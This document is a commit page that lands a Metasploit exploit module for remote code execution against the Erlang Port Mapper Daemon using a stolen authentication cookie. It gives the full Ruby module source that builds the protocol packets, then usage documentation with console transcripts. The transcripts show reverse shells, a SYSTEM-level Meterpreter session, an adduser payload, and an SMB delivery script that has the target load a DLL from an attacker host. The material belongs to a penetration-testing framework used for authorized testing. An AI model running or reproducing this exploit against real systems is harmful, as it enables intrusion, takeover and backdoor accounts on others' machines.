Land #11089, Erlang cookie rce exploit module
commit
6921b79890
|
@ -0,0 +1,154 @@
|
|||
## Vulnerable Application
|
||||
|
||||
The [Erlang Port Mapper Daemon](https://www.erlang.org/) is used to coordinate distributed erlang
|
||||
instances. Should an attacker get the authentication cookie code execution is trivial. Normally this
|
||||
cookie can be found in the home directory as ".erlang.cookie", however it varies system to system
|
||||
as well as its configuration. As an example on a Windows 10 instance it can be found under the
|
||||
users home directory: e.g `C:\Users\<USER>\.erlang.cookie`. Code execution is achieved via the
|
||||
`os:cmd('cmd').` command
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the Erlang Port Mapper Daemon
|
||||
2. Install RabbitMQ
|
||||
3. Start `msfconsole`
|
||||
4. Do `use exploit/multi/misc/erlang_cookie_rce`
|
||||
5. Do `set RHOST <ip>`
|
||||
6. Do `set COOKIE <cookie>`
|
||||
7. Do `set TARGET <target>`
|
||||
8. Do `set LHOST <host>`
|
||||
9. `exploit` and verify shell is opened (if on windows login)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 16.04.5 LTS
|
||||
|
||||
```
|
||||
msf exploit(multi/misc/erlang_cookie_rce) > options
|
||||
|
||||
Module options (exploit/multi/misc/erlang_cookie_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COOKIE EXAMPLE yes Erlang cookie to login with
|
||||
RHOST A.B.C.D yes The target address
|
||||
RPORT 25672 yes The target port (TCP)
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST W.X.Y.Z yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix
|
||||
|
||||
|
||||
msf exploit(multi/misc/erlang_cookie_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP double handler on W.X.Y.Z:4444
|
||||
[*] A.B.C.D:25672 - Receiving server challenge
|
||||
[*] A.B.C.D:25672 - Sending challenge reply
|
||||
[+] A.B.C.D:25672 - Authentication successful, sending payload
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo XinIWxzXWDO5x9EM;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket B
|
||||
[*] B: "XinIWxzXWDO5x9EM\r\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
[*] Command shell session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:46410) at 2018-12-09 14:45:47 -0600
|
||||
|
||||
id
|
||||
uid=122(rabbitmq) gid=130(rabbitmq) groups=130(rabbitmq)
|
||||
```
|
||||
|
||||
### Windows 10 (Build 17134)
|
||||
|
||||
First we want to exploit the host, as an example adding a new user. (Payload is executed over cmd.exe)
|
||||
|
||||
```
|
||||
msf exploit(multi/misc/erlang_cookie_rce) > options
|
||||
|
||||
Module options (exploit/multi/misc/erlang_cookie_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COOKIE EXAMPLE yes Erlang cookie to login with
|
||||
RHOST A.B.C.D yes The target address
|
||||
RPORT 25672 yes The target port (TCP)
|
||||
|
||||
|
||||
Payload options (cmd/windows/adduser):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CUSTOM no Custom group name to be used instead of default
|
||||
PASS Wetw0rkHax0r$1 yes The password for this user
|
||||
USER wetw0rk yes The username to create
|
||||
WMIC false yes Use WMIC on the target to resolve administrators group
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Windows
|
||||
|
||||
|
||||
msf exploit(multi/misc/erlang_cookie_rce) > exploit
|
||||
|
||||
[*] A.B.C.D:25672 - Receiving server challenge
|
||||
[*] A.B.C.D:25672 - Sending challenge reply
|
||||
[+] A.B.C.D:25672 - Authentication successful, sending payload
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
|
||||
Once exploitation is complete the tester can authenticate. Another method that can be used is SMB as shown below.
|
||||
|
||||
exploit.rc ->
|
||||
|
||||
```
|
||||
use exploit/windows/smb/smb_delivery
|
||||
set SHARE MSF
|
||||
set TARGET 0
|
||||
exploit -j
|
||||
use exploit/multi/misc/erlang_cookie_rce
|
||||
set COOKIE EXAMPLE
|
||||
set TARGET 1
|
||||
set RHOST A.B.C.D
|
||||
set PAYLOAD cmd/windows/generic
|
||||
set CMD "rundll32.exe \\\\W.X.Y.Z\MSF\test.dll,0"
|
||||
exploit -j
|
||||
```
|
||||
|
||||
```
|
||||
msf > resource exploit.rc
|
||||
[*] Processing /root/exploit.rc for ERB directives.
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Started reverse TCP handler on W.X.Y.Z:4444
|
||||
[*] Started service listener on W.X.Y.Z:445
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine: rundll32.exe \\W.X.Y.Z\MSF\test.dll,0
|
||||
[*] Exploit running as background job 1.
|
||||
[*] A.B.C.D:25672 - Receiving server challenge
|
||||
[*] A.B.C.D:25672 - Sending challenge reply
|
||||
[+] A.B.C.D:25672 - Authentication successful, sending payload
|
||||
[*] Sending stage (179779 bytes) to A.B.C.D
|
||||
[*] Meterpreter session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:51856) at 2018-12-18 14:45:02 -0600
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf exploit(multi/misc/erlang_cookie_rce) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
```
|
|
@ -0,0 +1,156 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Erlang Port Mapper Daemon Cookie RCE',
|
||||
'Description' => %q{
|
||||
The erlang port mapper daemon is used to coordinate distributed erlang instances.
|
||||
Should an attacker get the authentication cookie RCE is trivial. Usually, this
|
||||
cookie is named ".erlang.cookie" and varies on location.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Daniel Mende', # blog post article
|
||||
'Milton Valencia (wetw0rk)', # metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'win'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => 'false',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Unix',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
|
||||
],
|
||||
[ 'Windows',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'},
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 20, 2009', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history)
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),
|
||||
Opt::RPORT(25672)
|
||||
])
|
||||
end
|
||||
|
||||
def generate_challenge_digest(challenge)
|
||||
challenge = challenge.unpack('H*')[0].to_i(16).to_s
|
||||
|
||||
hash = Digest::MD5.new
|
||||
hash.update(datastore['COOKIE'])
|
||||
hash.update(challenge)
|
||||
|
||||
vprint_status("MD5 digest generated: #{hash.hexdigest}")
|
||||
return [hash.hexdigest].pack('H*')
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
|
||||
our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}"
|
||||
|
||||
# SEND_NAME: send initial identification of who "we" are
|
||||
send_name = "\x00" # Length: 0x0000
|
||||
send_name << [(our_node.length+7).to_s(16)].pack('H*') #
|
||||
send_name << "\x6e" # Tag: n
|
||||
send_name << "\x00\x05" # Version: R6 (5)
|
||||
send_name << "\x00\x03\x49\x9c" # Flags (0x0003499c)
|
||||
send_name << "#{our_node}" # <generated>@<generated>
|
||||
|
||||
# SEND_CHALLENGE_REPLY: return generated digest and its own challenge
|
||||
send_challenge_reply = "\x00\x15" # Length: 21
|
||||
send_challenge_reply << "\x72" # Tag: r
|
||||
|
||||
# SEND: send the message to the node
|
||||
send = "\x00\x00\x00" # Length:0x00000000
|
||||
send << [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*') #
|
||||
send << "\x70" #
|
||||
send << "\x83" # VERSION_MAGIC
|
||||
send << "\x68" # SMALL_TUPLE_EXT (104)
|
||||
send << "\x04" # Arity: 4
|
||||
send << "\x61" # SMALL_INTEGER_EXT
|
||||
send << "\x06" # Int: 6
|
||||
send << "\x67" # PID_EXT (103)
|
||||
send << "\x64\x00" # Node:
|
||||
send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)
|
||||
send << "#{our_node}" # Node
|
||||
send << "\x00\x00\x00\x03" # ID
|
||||
send << "\x00\x00\x00\x00" # Serial
|
||||
send << "\x00" # Creation
|
||||
send << "\x64" # InternalSegmentIndex
|
||||
send << "\x00\x00" # Len: 0x0000
|
||||
send << "\x64" # InternalSegmentIndex
|
||||
send << "\x00\x03" # Length: 3
|
||||
send << "rex" # AtomText: rex
|
||||
send << "\x83\x68\x02\x67\x64\x00" #
|
||||
send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)
|
||||
send << "#{our_node}" # Node
|
||||
send << "\x00\x00\x00\x03" # ID
|
||||
send << "\x00\x00\x00\x00" # Serial
|
||||
send << "\x00" # Creation
|
||||
send << "\x68" # SMALL_TUPLE_EXT (104)
|
||||
send << "\x05" # Arity: 5
|
||||
send << "\x64" # InternalSegmentIndex
|
||||
send << "\x00\x04" # Length: 4
|
||||
send << "call" # AtomText: call
|
||||
send << "\x64" # InternalSegmentIndex
|
||||
send << "\x00\x02" # Length: 2
|
||||
send << "os" # AtomText: os
|
||||
send << "\x64" # InternalSegmentIndex
|
||||
send << "\x00\x03" # Length: 3
|
||||
send << "cmd" # AtomText: cmd
|
||||
send << "\x6c" # LIST_EXT
|
||||
send << "\x00\x00\x00\x01" # Length: 1
|
||||
send << "\x6b" # Elements: k
|
||||
send << "\x00" # Tail
|
||||
send << [(payload.raw.length).to_s(16)].pack('H*') # strlen(Command)
|
||||
send << payload.raw # Command
|
||||
send << "\x6a" # NIL_EXT
|
||||
send << "\x64" # InternalSegmentIndex
|
||||
send << "\x00\x04" # Length: 4
|
||||
send << "user" # AtomText: user
|
||||
|
||||
sock.put(send_name)
|
||||
|
||||
# recieve servers "SEND_CHALLENGE" token (4 bytes)
|
||||
print_status("Receiving server challenge")
|
||||
challenge = sock.get
|
||||
challenge = challenge[14,4]
|
||||
|
||||
send_challenge_reply << challenge
|
||||
send_challenge_reply << generate_challenge_digest(challenge)
|
||||
|
||||
print_status("Sending challenge reply")
|
||||
sock.put(send_challenge_reply)
|
||||
|
||||
if sock.get.length < 1
|
||||
fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}")
|
||||
end
|
||||
|
||||
print_good("Authentication successful, sending payload")
|
||||
sock.put(send)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue